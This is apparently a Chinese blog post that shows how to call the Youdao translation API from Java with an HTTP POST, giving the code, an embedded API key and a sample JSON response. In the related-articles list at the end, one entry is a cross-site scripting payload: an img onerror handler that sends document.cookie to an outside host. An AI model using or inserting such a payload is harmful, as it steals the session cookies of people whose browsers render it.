如何调用有道翻译API(Java,HTTP)
2015-10-09 21:33
543 查看
申请Key
首先如图进入有道翻译,在下方点击“有道翻译API”。紧接着来调用数据接口,按提示完成下列输入框。
如下图所示,已经申请成功了。
下图是官方给的示例,可以有xml和json、jsonp等三种数据格式。
代码(Java)
public class TestPost { public static void main(String[] args) { new ReadByPost().start(); } } class ReadByPost extends Thread{ @Override public void run() { try { URL url = new URL("http://fanyi.youdao.com/openapi.do"); HttpURLConnection connection = (HttpURLConnection)url.openConnection(); connection.addRequestProperty("encoding", "UTF-8"); connection.setDoInput(true); connection.setDoOutput(true); connection.setRequestMethod("POST"); OutputStream os = connection.getOutputStream(); OutputStreamWriter osw = new OutputStreamWriter(os); BufferedWriter bw = new BufferedWriter(osw); bw.write("keyfrom=fadabvaa&key=522071532&type=data&doctype=json&version=1.1&q=Microsoft"); bw.flush(); InputStream is = connection.getInputStream(); InputStreamReader isr = new InputStreamReader(is,"UTF-8"); BufferedReader br = new BufferedReader(isr); String line; StringBuilder builder = new StringBuilder(); while((line = br.readLine()) != null){ builder.append(line); } bw.close(); osw.close(); os.close(); br.close(); isr.close(); is.close(); System.out.println(builder.toString()); } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } }
输出如下:
{"translation":["微软"],"basic":{"us-phonetic":"'maikr?us?ft","phonetic":"'maikr?us?ft","uk-phonetic":"'maikr?us?ft","explains":["n. 微软公司(全球知名的PC软件主要厂商)"]},"query":"Microsoft","errorCode":0,"web":[{"value":["微软公司","微软","美国微软"],"key":"MicroSoft"},{"value":["办公软件","微软办公软件","微软办公"],"key":"Microsoft Office"},{"value":["微软小工具"],"key":"Microsoft Gadgets"}]}
相关文章推荐
- Mac网络抓包 - Wireshark
- <img src=hi onerror='(new Image()).src="http://mengkang.net/?getCookie="+document.cookie'>
- 基础篇:操作系统、计算机网络、设计模式(一)(附参考答案)
- 动手学习TCP:TCP特殊状态
- Mac网络抓包 - Cocoa Packet Analyzer
- HTTP 状态码
- Apache HTTP Server与Tomcat的三种连接方式介绍
- tcp拥塞控制时间轴上三种状态的关系,慢启动,拥塞避免,以及快速恢复的教学状态图。
- 【转】c++ http下载文件
- android 使用brocastReceiver监听网络连接状态
- 笔试怎么过(2)TCP/IP、HTTP、进程/线程、sql
- TCP滑动窗口与拥塞窗口
- 网络编程socket相关错误号及信息的获取
- Python网络爬虫(Get、Post抓取方式)
- Python网络爬虫(Get、Post抓取方式)
- 《深入理解Linux网络技术内幕》阅读笔记(二十一)
- 一个TCP连接池的自我修养-如mysql-client、http-client、redis-client
- Linux网络编程socket错误分析
- ThreadSafeClientConnManager用来支持多线程的使用http client
- ThreadSafeClientConnManager用来支持多线程的使用http client